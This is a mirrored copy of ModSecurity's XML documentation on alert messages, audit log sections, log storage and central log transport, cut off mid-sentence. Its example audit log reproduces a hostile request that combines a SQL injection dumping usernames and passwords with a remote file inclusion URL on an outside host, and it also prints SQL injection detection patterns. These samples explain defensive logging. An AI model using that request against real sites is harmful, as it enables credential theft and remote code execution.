github_mirrors/ModSecurity
3
0
Fork 1
mirror of https://github.com/owasp-modsecurity/ModSecurity.git synced 2025-08-14 05:45:59 +03:00
Code Issues Packages Projects Releases Wiki Activity
ModSecurity/doc/modsecurity2-data-formats.xml

1275 lines
47 KiB
XML
Raw Blame History

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook XML V4.4//EN"
"http://www.docbook.org/xml/4.4/docbookx.dtd">
<article>
<title>ModSecurity 2 Data Formats</title>
<articleinfo>
<releaseinfo>2.6.0-trunk (April 22, 2009)</releaseinfo>
<copyright>
<year>2004-2009</year>
<holder>Breach Security, Inc. (<ulink url="http://www.breach.com"
>http://www.breach.com</ulink>)</holder>
</copyright>
</articleinfo>
<para>The purpose of this document is to describe the formats of the ModSecurity alert messages,
transaction logs and communication protocols, which would not only allow for a better
understanding what ModSecurity does but also for an easy integration with third-party tools
and products.</para>
<section>
<title>Alerts</title>
<para>As part of its operations ModSecurity will emit alerts, which are either
<emphasis>warnings</emphasis> (non-fatal) or <emphasis>errors</emphasis> (fatal,
usually leading to the interception of the transaction in question). Below is an example
of a ModSecurity alert entry:</para>
<programlisting>Access denied with code 505 (phase 1). Match of "rx
^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.
[id "960034"] [msg "HTTP protocol version is not allowed by policy"]
[severity "CRITICAL"] [uri "/"] [unique_id "PQaTTVBEUOkAAFwKXrYAAAAM"]</programlisting>
<note>
<para>Alerts will only ever contain one line of text but we've broken
the above example into multiple lines to make it fit into the
page.</para>
</note>
<para>Each alert entry begins with the engine message, which describes
what ModSecurity did and why. For example:<programlisting>Access denied with code 505 (phase 1). Match of "rx
^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.</programlisting></para>
<section>
<title>Alert Action Description</title>
<para>The first part of the engine message tells you whether ModSecurity
acted to interrupt transaction or rule processing:</para>
<orderedlist>
<listitem>
<para>If the alert is only a warning, the first sentence will simply
say <emphasis>Warning</emphasis>.</para>
</listitem>
<listitem>
<para>If the transaction was intercepted, the first sentence will
begin with <emphasis>Access denied</emphasis>. What follows is the
list of possible messages related to transaction
interception:</para>
<itemizedlist>
<listitem>
<para><emphasis>Access denied with code %0</emphasis> - a
response with status code <literal>%0</literal> was sent.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with connection close</emphasis> -
connection was abruptly closed.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with redirection to %0 using
status %1</emphasis> - a redirection to URI
<literal>%0</literal> was issued using status
<literal>%1</literal>.</para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>There is also a special message that ModSecurity emits where
an <literal>allow</literal> action is executed. There are three
variations of this type of message:</para>
<itemizedlist>
<listitem>
<para><emphasis>Access allowed</emphasis> - rule engine stopped
processing rules (transaction was unaffected).</para>
</listitem>
<listitem>
<para><emphasis>Access to phase allowed</emphasis> - rule engine
stopped processing rules in the current phase only. Subsequent
phases will be processed normally. Transaction was not affected
by this rule but it may be affected by any of the rules in the
subsequent phase.</para>
</listitem>
<listitem>
<para><emphasis>Access to request allowed</emphasis> - rule
engine stopped processing rules in the current phase. Phases
prior to request execution in the backend (currently phases 1
and 2) will not be processed. The response phases (currently
phases 3 and 4) and others (currently phase 5) will be processed
as normal. Transaction was not affected by this rule but it may
be affected by any of the rules in the subsequent phase.</para>
</listitem>
</itemizedlist>
</listitem>
</orderedlist>
</section>
<section>
<title>Alert Justification Description</title>
<para>The second part of the engine message explains
<emphasis>why</emphasis> the alert was generated. Since it is
automatically generated from the rules it will be very technical in
nature, talking about operators and their parameters and give you
insight into what the rule looked like. But this message cannot give you
insight into the reasoning behind the rule. A well-written rule will
always specify a human-readable message (using the
<literal>msg</literal> action) to provide further information.</para>
<para>The format of the second part of the engine message depends on
whether it was generated by the operator (which happens on a match) or
by the rule processor (which happens where there is not a match, but the
negation was used):</para>
<itemizedlist>
<listitem>
<para><literal>@beginsWith</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@contains</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@containsWord</literal> - <emphasis>String match %0
at %1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@endsWith</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@eq</literal> - <emphasis>Operator EQ matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@ge</literal> - <emphasis>Operator GE matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@geoLookup</literal> - <emphasis>Geo lookup for %0
succeeded at %1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@inspectFile</literal> - <emphasis>File %0 rejected
by the approver script %1: %2</emphasis></para>
</listitem>
<listitem>
<para><literal>@le</literal> - <emphasis>Operator LE matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@lt</literal> - <emphasis>Operator LT matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@rbl</literal> - <emphasis>RBL lookup of %0 succeeded
at %1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@rx</literal> - <emphasis>Pattern match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@streq</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateByteRange</literal> - <emphasis>Found %0
byte(s) in %1 outside range: %2.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateDTD</literal> - <emphasis>XML: DTD
validation failed.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateSchema</literal> - <emphasis>XML: Schema
validation failed.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateUrlEncoding</literal></para>
<itemizedlist>
<listitem>
<para><emphasis>Invalid URL Encoding: Non-hexadecimal digits
used at %0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid URL Encoding: Not enough characters at
the end of input at %0.</emphasis></para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para><literal>@validateUtf8Encoding</literal></para>
<itemizedlist>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: not enough bytes in
character at %0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: invalid byte value in
character at %0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: overlong character
detected at %0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: use of restricted
character at %0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: decoding error at
%0.</emphasis></para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para><literal>@verifyCC</literal> - <emphasis>CC# match %0 at
%1.</emphasis></para>
</listitem>
</itemizedlist>
<para>Messages not related to operators:</para>
<itemizedlist>
<listitem>
<para>When <literal>SecAction</literal> directive is processed -
<emphasis>Unconditional match in SecAction.</emphasis></para>
</listitem>
<listitem>
<para>When <literal>SecRule</literal> does not match but negation is
used - <emphasis>Match of %0 against %1 required.</emphasis></para>
</listitem>
</itemizedlist>
<note>
<para>The parameters to the operators <literal>@rx</literal> and
<literal>@pm</literal> (regular expression and text pattern,
respectively) will be truncated to 252 bytes if they are longer than
this limit. In this case the parameter in the alert message will be
terminated with three dots.</para>
</note>
</section>
<section>
<title>Meta-data</title>
<para>The metadata fields are always placed at the end of the alert
entry. Each metadata field is a text fragment that consists of an open
bracket followed by the metadata field name, followed by the value and
the closing bracket. What follows is the text fragment that makes up the
<literal>id</literal> metadata field.</para>
<programlisting>[id "960034"]</programlisting>
<para>The following metadata fields are currently used:</para>
<orderedlist>
<listitem>
<para><literal>offset</literal> - The byte offset where a match
occured within the target data. This is not always available.</para>
</listitem>
<listitem>
<para><literal>id</literal> - Unique rule ID, as specified by the
<literal>id</literal> action.</para>
</listitem>
<listitem>
<para><literal>rev</literal> - Rule revision, as specified by the
<literal>rev</literal> action.</para>
</listitem>
<listitem>
<para><literal>msg</literal> - Human-readable message, as specified
by the <literal>msg</literal> action.</para>
</listitem>
<listitem>
<para><literal>severity</literal> - Event severity as text, as
specified by the <literal>severity</literal> action. The possible
values (with their corresponding numberical values in brackets) are
<literal>EMERGENCY</literal> (0), <literal>ALERT</literal> (1),
<literal>CRITICAL</literal> (2), <literal>ERROR</literal> (3),
<literal>WARNING</literal> (4), <literal>NOTICE</literal> (5),
<literal>INFO</literal> (6) and <literal>DEBUG</literal> (7).</para>
</listitem>
<listitem>
<para><literal>unique_id</literal> - Unique event ID, generated
automatically.</para>
</listitem>
<listitem>
<para><literal>uri</literal> - Request URI.</para>
</listitem>
<listitem>
<para><literal>logdata</literal> - contains transaction data
fragment, as specified by the <literal>logdata</literal>
action.</para>
</listitem>
</orderedlist>
</section>
<section>
<title>Escaping</title>
<para>ModSecurity alerts will always contain text fragments that were
taken from configuration or the transaction. Such text fragments escaped
before they are user in messages, in order to sanitise the potentially
dangerous characters. They are also sometimes surrounded using double
quotes. The escaping algorithm is as follows:<orderedlist>
<listitem>
<para>Characters <literal>0x08</literal>
(<literal>BACKSPACE</literal>), <literal>0x0a</literal>
(<literal>NEWLINE</literal>), <literal>0x10</literal>
(<literal>CARRIAGE RETURN</literal>), <literal>0x09</literal>
(<literal>HORIZONTAL TAB</literal>) and <literal>0x0b</literal>
(<literal>VERTICAL TAB</literal>) will be represented as
<literal>\b</literal>, <literal>\n</literal>,
<literal>\r</literal>, <literal>\t</literal> and
<literal>\v</literal>, respectively.</para>
</listitem>
<listitem>
<para>Bytes from the ranges <literal>0-0x1f</literal> and
<literal>0x7f-0xff</literal> (inclusive) will be represented as
<literal>\xHH</literal>, where <literal>HH</literal> is the
hexadecimal value of the byte.</para>
</listitem>
<listitem>
<para>Backslash characters (<literal>\</literal>) will be
represented as <literal>\\</literal>.</para>
</listitem>
<listitem>
<para>Each double quote character will be represented as
<literal>\"</literal>, but only if the entire fragment is
surrounded with double quotes.</para>
</listitem>
</orderedlist></para>
</section>
<section>
<title>Alerts in the Apache Error Log</title>
<para>Every ModSecurity alert conforms to the following format when it
appears in the Apache error log:</para>
<programlisting>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1]
ModSecurity: ALERT_MESSAGE</programlisting>
<para>The above is a standard Apache error log format. The
<literal>ModSecurity: </literal> prefix is specific to ModSecurity. It
is used to allow quick identification of ModSecurity alert messages when
they appear in the same file next to other Apache messages.</para>
<para>The actual message (<literal>ALERT_MESSAGE</literal> in the
example above) is in the same format as described in the
<emphasis>Alerts</emphasis> section.</para>
<note>
<para>Apache further escapes ModSecurity alert messages before writing
them to the error log. This means that all backslash characters will
be doubled in the error log. In practice, since ModSecurity will
already represent a single backslash within an untrusted text fragment
as two backslashes, the end result in the Apache error log will be
<emphasis>four</emphasis> backslashes. Thus, if you need to interpret
a ModSecurity message from the error log, you should decode the
message part after the <literal>ModSecurity:</literal> prefix first.
This step will peel the first encoding layer.</para>
</note>
</section>
<section>
<title>Alerts in Audit Logs</title>
<para>Alerts are transported in the <literal>H</literal> section of the
ModSecurity Audit Log. Alerts will appear each on a separate line and in
the order they were generated by ModSecurity. Each line will be in the
following format:</para>
<programlisting>Message: ALERT_MESSAGE</programlisting>
<para>Below is an example of an <literal>H</literal> section that
contains two alert messages:</para>
<programlisting>--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against
"REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--</programlisting>
</section>
</section>
<section>
<title>Audit Log</title>
<para>ModSecurity records one transaction in a single audit log file.
Below is an example:</para>
<programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,
char(77),password,char(77),email_address,char(77),info,char(77),user_level,
char(77))/**/from/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.
com/images/banners/on.txt? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, cslose
Host: www.example.com
User-Agent: libwww-perl/5.808
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against
"REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request
Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b
(?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere)
|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|
makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack.
Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--
</programlisting>
<para>The file consist of multiple sections, each in different format.
Separators are used to define sections:</para>
<programlisting>--c7036611-A--</programlisting>
<para>A separator always begins on a new line and conforms to the
following format:</para>
<orderedlist>
<listitem>
<para>Two dashes</para>
</listitem>
<listitem>
<para>Unique boundary, which consists from several hexadecimal
characters.</para>
</listitem>
<listitem>
<para>One dash character.</para>
</listitem>
<listitem>
<para>Section identifier, currently a single uppercase letter.</para>
</listitem>
<listitem>
<para>Two trailing dashes.</para>
</listitem>
</orderedlist>
<para>Refer to the documentation for <literal>SecAuditLogParts</literal>
for the explanation of each part.</para>
<section>
<title>Parts</title>
<para>This section documents the audit log parts available in
ModSecurity 2.x. They are: <itemizedlist>
<listitem>
<para><literal moreinfo="none">A</literal> - audit log
header</para>
</listitem>
<listitem>
<para><literal moreinfo="none">B</literal> - request
headers</para>
</listitem>
<listitem>
<para><literal moreinfo="none">C</literal> - request body</para>
</listitem>
<listitem>
<para><literal moreinfo="none">D</literal> - intended response
headers (NOT IMPLEMENTED)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">E</literal> - intended response
body</para>
</listitem>
<listitem>
<para><literal moreinfo="none">F</literal> - response
headers</para>
</listitem>
<listitem>
<para><literal moreinfo="none">G</literal> - response body (NOT
IMPLEMENTED)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">H</literal> - audit log
trailer</para>
</listitem>
<listitem>
<para><literal moreinfo="none">I</literal> - reduced multipart
request body</para>
</listitem>
<listitem>
<para><literal moreinfo="none">J</literal> - multipart files
information (NOT IMPLEMENTED)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">K</literal> - matched rules
information</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Z</literal> - audit log
footer</para>
</listitem>
</itemizedlist></para>
<section>
<title>Audit Log Header (<literal>A</literal>)</title>
<para>ModSecurity 2.x audit log entries always begin with the header
part. For example:</para>
<programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995
80.68.80.233 80</programlisting>
<para>The header contains only one line, with the following
information on it:</para>
<orderedlist>
<listitem>
<para>Timestamp</para>
</listitem>
<listitem>
<para>Unique transaction ID</para>
</listitem>
<listitem>
<para>Source IP address (IPv4 or IPv6)</para>
</listitem>
<listitem>
<para>Source port</para>
</listitem>
<listitem>
<para>Destination IP address (IPv4 or IPv6)</para>
</listitem>
<listitem>
<para>Destination port</para>
</listitem>
</orderedlist>
</section>
<section>
<title>Request Headers (<literal>B</literal>)</title>
<para>The request headers part contains the request line and the
request headers. The information present in this part will not be
identical to that sent by the client responsible for the transaction.
ModSecurity 2.x for Apache does not have access to the raw data; it
sees what Apache itself sees. While the end result may be identical to
the raw request, differences are possible in some areas:</para>
<orderedlist>
<listitem>
<para>If any of the fields are <literal>NUL</literal>-terminated,
Apache will only see the content prior to the NUL.</para>
</listitem>
<listitem>
<para>Headers that span multiple lines (feature known as header
folding) will be collapsed into a single line.</para>
</listitem>
<listitem>
<para>Multiple headers with the same name will be combined into a
single header (as allowed by the HTTP RFC).</para>
</listitem>
</orderedlist>
</section>
<section>
<title>Request Body (<literal>C</literal>)</title>
<para>This part contains the request body of the transaction, after
dechunking and decompression (if applicable).</para>
</section>
<section>
<title>Intended Response Headers (<literal>D</literal>)</title>
<para>This part contains the status line and the request headers that
would have been delivered to the client had ModSecurity not
intervened. Thus this part makes sense only for transactions where
ModSecurity altered the data flow. By differentiating before the
intended and the final response headers, we are able to record what
was internally ready for sending, but also what was actually
sent.</para>
<note>
<para>This part is reserved for future use. It is not implemented in
ModSecurity 2.x.</para>
</note>
</section>
<section>
<title>Intended Response Body (<literal>E</literal>)</title>
<para>This part contains the transaction response body (before
compression and chunking, where used) that was either sent or would
have been sent had ModSecurity not intervened. You can find whether
interception took place by looking at the <literal>Action</literal>
header of the part <literal>H</literal>. If that header is present,
and the interception took place in phase 3 or 4 then the
<literal>E</literal> part contains the intended response body.
Otherwise, it contains the actual response body.</para>
<note>
<para>Once the <literal>G</literal> (actual response body) part is
implemented, part <literal>E</literal> will be present only in audit
logs that contain a transaction that was intercepted, and there will
be no need for further analsys.</para>
</note>
</section>
<section>
<title>Response Headers (<literal>F</literal>)</title>
<para>This part contains the actual response headers sent to the
client. Since ModSecurity 2.x for Apache does not access the raw
connection data, it constructs part <literal>F</literal> out of the
internal Apache data structures that hold the response headers.</para>
<para>Some headers (the <literal>Date</literal> and
<literal>Server</literal> response headers) are generated just before
they are sent and ModSecurity is not able to record those. You should
note than ModSecurity is working as part of a reverse proxy, the
backend web server will have generated these two servers, and in that
case they will be recorded.</para>
</section>
<section>
<title>Response Body (G)</title>
<para>When implemented, this part will contain the actual response
body before compression and chunking.</para>
<note>
<para>This part is reserved for future use. It is not implemented in
ModSecurity 2.x.</para>
</note>
</section>
<section>
<title>Audit Log Trailer (H)</title>
<para>Part <literal>H</literal> contains additional transaction
meta-data that was obtained from the web server or from ModSecurity
itself. The part contains a number of trailer headers, which are
similar to HTTP headers (without support for header
folding):<orderedlist>
<listitem>
<para>Action</para>
</listitem>
<listitem>
<para>Apache-Error</para>
</listitem>
<listitem>
<para>Message</para>
</listitem>
<listitem>
<para>Producer</para>
</listitem>
<listitem>
<para>Response-Body-Transformed</para>
</listitem>
<listitem>
<para>Sanitised-Args</para>
</listitem>
<listitem>
<para>Sanitised-Request-Headers</para>
</listitem>
<listitem>
<para>Sanitised-Response-Headers</para>
</listitem>
<listitem>
<para>Server</para>
</listitem>
<listitem>
<para>Stopwatch</para>
</listitem>
<listitem>
<para>WebApp-Info</para>
</listitem>
</orderedlist></para>
<section>
<title>Action</title>
<para>The <literal>Action</literal> header is present only for the
transactions that were intercepted:</para>
<programlisting>Action: Intercepted (phase 2)</programlisting>
<para>The phase information documents the phase in which the
decision to intercept took place.</para>
</section>
<section>
<title>Apache-Error</title>
<para>The Apache-Error header contains Apache error log messages
observed by ModSecurity, excluding those sent by ModSecurity itself.
For example:</para>
<programlisting>Apache-Error: [file "/tmp/buildd/apache2-2.0.54/build-tree/apache2/server/
core.c"] [line 3505] [level 3] File does not exist: /var/www/www.
modsecurity.org/fst/documentation/modsecurity-apache/2.5.0-dev2</programlisting>
</section>
<section>
<title>Message</title>
<para>Zero or more <literal>Message</literal> headers can be present
in any trailer, and each such header will represent a single
ModSecurity warning or error, displayed in the order they were
raised.</para>
<para>The example below was broken into multiple lines to make it
fit this page:</para>
<programlisting>Message: Access denied with code 400 (phase 2). Pattern match "^\w+:/" at
REQUEST_URI_RAW. [file "/etc/apache2/rules-1.6.1/modsecurity_crs_20_
protocol_violations.conf"] [line "74"] [id "960014"] [msg "Proxy access
attempt"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/PROXY_ACCESS"]</programlisting>
</section>
<section>
<title>Producer</title>
<para>The <literal>Producer</literal> header identifies the product
that generated the audit log. For example:</para>
<programlisting>Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/).</programlisting>
<para>ModSecurity allows rule sets to add their own signatures to
the <literal>Producer</literal> information (this is done using the
<literal>SecComponentSignature</literal> directive). Below is an
example of the <literal>Producer</literal> header with the signature
of one component (all one line):</para>
<programlisting>Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/);
MyComponent/1.0.0 (Beta).</programlisting>
</section>
<section>
<title>Response-Body-Transformed</title>
<para>This header will appear in every audit log that contains a
response body:</para>
<programlisting>Response-Body-Transformed: Dechunked</programlisting>
<para>The contents of the header is constant at present, so the
header is only useful as a reminder that the recorded response body
is not identical to the one sent to the client. The actual content
is the same, except that Apache may further compress the body and
deliver it in chunks.</para>
</section>
<section>
<title>Sanitised-Args</title>
<para>The <literal>Sanitised-Args</literal> header contains a list
of arguments that were sanitised (each byte of their content
replaced with an asterisk) before logging. For example:</para>
<programlisting>Sanitised-Args: "old_password", "new_password", "new_password_repeat".</programlisting>
</section>
<section>
<title>Sanitised-Request-Headers</title>
<para>The <literal>Sanitised-Request-Headers</literal> header
contains a list of request headers that were sanitised before
logging. For example:</para>
<programlisting>Sanitised-Request-Headers: "Authentication".</programlisting>
</section>
<section>
<title>Sanitised-Response-Headers</title>
<para>The <literal>Sanitised-Response-Headers</literal> header
contains a list of response headers that were sanitised before
logging. For example:</para>
<programlisting>Sanitised-Response-Headers: "My-Custom-Header".</programlisting>
</section>
<section>
<title>Server</title>
<para>The <literal>Server</literal> header identifies the web
server. For example:</para>
<programlisting>Server: Apache/2.0.54 (Debian GNU/Linux) mod_ssl/2.0.54 OpenSSL/0.9.7e</programlisting>
<para>This information may sometimes be present in any of the parts
that contain response headers, but there are a few cases when it
isn't:<orderedlist>
<listitem>
<para>None of the response headers were recoreded.</para>
</listitem>
<listitem>
<para>The information in the response headers is not accurate
because server signature masking was used.</para>
</listitem>
</orderedlist></para>
</section>
<section>
<title>Stopwatch</title>
<para>The <literal>Stopwatch</literal> header provides certain
diagnostic information that allows you to determine the performance
of the web server and of ModSecurity itself. It will typically look
like this:</para>
<programlisting>Stopwatch: 1222945098201902 2118976 (770* 4400 -)</programlisting>
<para>Each line can contain up to 5 different values. Some values
can be absent; each absent value will be replaced with a
dash.</para>
<para>The meanings of the values are as follows (all values are in
microseconds):<orderedlist>
<listitem>
<para>Transaction timestamp in microseconds since January 1st,
1970.</para>
</listitem>
<listitem>
<para>Transaction duration.</para>
</listitem>
<listitem>
<para>The time between the moment Apache started processing
the request and until phase 2 of ModSecurity began. If an
asterisk is present that means the time includes the time it
took ModSecurity to read the request body from the client
(typically slow). This value can be used to provide a rough
estimate of the client speed, but only with larger request
bodies (the smaller request bodies may arrive in a single
TCP/IP packet).</para>
</listitem>
<listitem>
<para>The time between the start of processing and until phase
2 was completed. If you substract the previous value from this
value you will get the exact duration of phase 2 (which is the
main rule processing phase).</para>
</listitem>
<listitem>
<para>The time between the start of request processing and
util we began sending a fully-buffered response body to the
client. If you substract this value from the total transaction
duration and divide with the response body size you may get a
rough estimate of the client speed, but only for larger
response bodies.</para>
</listitem>
</orderedlist></para>
</section>
<section>
<title>WebApp-Info</title>
<para>The <literal>WebApp-Info</literal> header contains information
on the application to which the recorded transaction belongs. This
information will appear only if it is known, which will happen if
<literal>SecWebAppId</literal> was set, or <literal>setsid</literal>
or <literal>setuid</literal> executed in the transaction.</para>
<para>The header uses the following format:</para>
<programlisting>WebApp-Info: "WEBAPPID" "SESSIONID" "USERID"</programlisting>
<para>Each unknown value is replaced with a dash.</para>
</section>
</section>
<section>
<title>Reduced Multipart Request Body (<literal>I</literal>)</title>
<para>Transactions that deal with file uploads tend to be large, yet
the file contents is not always relevant from the security point of
view. The <literal>I</literal> part was designed to avoid recording
raw <literal>multipart/form-data</literal> request bodies, replacing
them with a simulated
<literal>application/x-www-form-urlencoded</literal> body that
contains the same key-value parameters.</para>
<para>The reduced multipart request body will not contain any file
information. The <literal>J</literal> part (currently not implemented)
is intended to carry the file metadata.</para>
</section>
<section>
<title>Multipart Files Information (<literal>J</literal>)</title>
<para>The purpose of part <literal>J</literal> is to record the
information on the files contained in a
<literal>multipart/form-data</literal> request body. This is handy in
the cases when the original request body was not recorded, or when
only a reduced version was recorded (e.g. when part
<literal>I</literal> was used instead of part
<literal>C</literal>).</para>
<note>
<para>This part is reserved for future use. It is not implemented in
ModSecurity 2.x.</para>
</note>
</section>
<section>
<title>Matched Rules (<literal>K</literal>)</title>
<para>The matched rules part contains a record of all ModSecurity
rules that matched during transaction processing. You should note that
if a rule that belongs to a chain matches then the entire chain will
be recorded. This is because, even though the disruptive action may
not have executed, other per-rule actions have, and you will need to
see the entire chain in order to understand the rules.</para>
<para>This part is available starting with ModSecurity 2.5.x.</para>
</section>
<section>
<title>Audit Log Footer (<literal>Z</literal>)</title>
<para>Part <literal>Z</literal> is a special part that only has a
boundary but no content. Its only purpose is to signal the end of an
audit log.</para>
</section>
</section>
<section>
<title>Storage Formats</title>
<para>ModSecurity supports two audit log storage formats:<orderedlist>
<listitem>
<para><emphasis>Serial</emphasis> audit log format - multiple
audit log files stored in the same file.</para>
</listitem>
<listitem>
<para><emphasis>Concurrent</emphasis> audit log format - one file
is used for every audit log.</para>
</listitem>
</orderedlist></para>
<section>
<title>Serial Audit Log Format</title>
<para>The serial audit log format stores multiple audit log entries
within the same file (one after another). This is often very convinent
(audit log entries are easy to find) but this format is only suitable
for light logging in the current ModSecurity implementation because
writing to the file is serialised: only one audit log entry can be
written at any one time.</para>
</section>
<section>
<title>Concurrent Audit Log Format</title>
<para>The concurrent audit log format uses one file per audit log
entry, and allows many transactions to be recorded at once. A
hierarchical directory structure is used to ensure that the number of
files created in any one directory remains relatively small. For
example:</para>
<programlisting>$LOGGING-HOME/20081128/20081128-1414/20081128-141417-
egDKy38AAAEAAAyMHXsAAAAA</programlisting>
<para>The current time is used to work out the directory structure.
The file name is constructed using the current time and the
transaction ID.</para>
<para>The creation of every audit log in concurrent format is recorded
with an entry in the concurrent audit log <emphasis>index
file</emphasis>. The format of each line resembles the common web
server access log format. For example:</para>
<programlisting>192.168.0.111 192.168.0.1 - - [28/Nov/2008:15:06:32 +0000]
"GET /?p=\\ HTTP/1.1" 200 69 "-" "-" NOfRx38AAAEAAAzcCU4AAAAA
"-" /20081128/20081128-1506/20081128-150632-NOfRx38AAAEAAAzcCU4AAAAA
0 1183 md5:ffee2d414cd43c2f8ae151652910ed96</programlisting>
<para>The tokens on the line are as follows:</para>
<orderedlist>
<listitem>
<para>Hostname (or IP address, if the hostname is not
known)</para>
</listitem>
<listitem>
<para>Source IP address</para>
</listitem>
<listitem>
<para>Remote user (from HTTP Authentication)</para>
</listitem>
<listitem>
<para>Local user (from identd)</para>
</listitem>
<listitem>
<para>Timestamp</para>
</listitem>
<listitem>
<para>Request line</para>
</listitem>
<listitem>
<para>Response status</para>
</listitem>
<listitem>
<para>Bytes sent (in the response body)</para>
</listitem>
<listitem>
<para>Referrer information</para>
</listitem>
<listitem>
<para>User-Agent information</para>
</listitem>
<listitem>
<para>Transaction ID</para>
</listitem>
<listitem>
<para>Session ID</para>
</listitem>
<listitem>
<para>Audit log file name (relative to the audit logging home, as
configured using the <literal>SecAuditLogStorageDir</literal>
directive)</para>
</listitem>
<listitem>
<para>Audit log offset</para>
</listitem>
<listitem>
<para>Audit log size</para>
</listitem>
<listitem>
<para>Audit log hash (the has begins with the name of the
algorithm used, followed by a colon, followed by the hexadecimal
representation of the hash itself); this hash can be used to
verify that the transaction was correctly recorded and that it
hasn't been modified since.</para>
</listitem>
</orderedlist>
<note>
<para>Lines in the index file will be up to 3980 bytes long, and the
information logged will be reduced to fit where necessary. Reduction
will occur within the individual fields, but the overall format will
remain the same. The character <literal>L</literal> will appear as
the last character on a reduced line. A space will be the last
character on a line that was not reduced to stay within the
limit.</para>
</note>
</section>
</section>
<section>
<title>Transport Protocol</title>
<para>Audit logs generated in multi-sensor deployments are of little use
if left on the sensors. More commonly, they will be transported to a
central logging server using the transport protocol described in this
section:</para>
<orderedlist>
<listitem>
<para>The transport protocol is based on the HTTP protocol.</para>
</listitem>
<listitem>
<para>The server end is an SSL-enabled web server with HTTP Basic
Authentication configured.</para>
</listitem>
<listitem>
<para>Clients will open a connection to the centralisation web
server and authenticate (given the end-point URI, the username and
the password).</para>
</listitem>
<listitem>
<para>Clients will submit every audit log in a single
<literal>PUT</literal> transaction, placing the file in the body of
the request and additional information in the request headers (see
below for details).</para>
</listitem>
<listitem>
<para>Server will process each submission and respond with an
appropriate status code:</para>
<orderedlist>
<listitem>
<para>200 (OK) - the submission was processed; the client can
delete the corresponding audit log entry if it so desires. The
same audit log entry must not be submitted again.</para>
</listitem>
<listitem>
<para>409 (Conflict) - if the submission is in invalid format
and cannot be processed. The client should attempt to fix the
problem with the submission and attempt delivery again at a
later time. This error is generally going to occur due to a
programming error in the protocol implementation, and not
because of the content of the audit log entry that is being
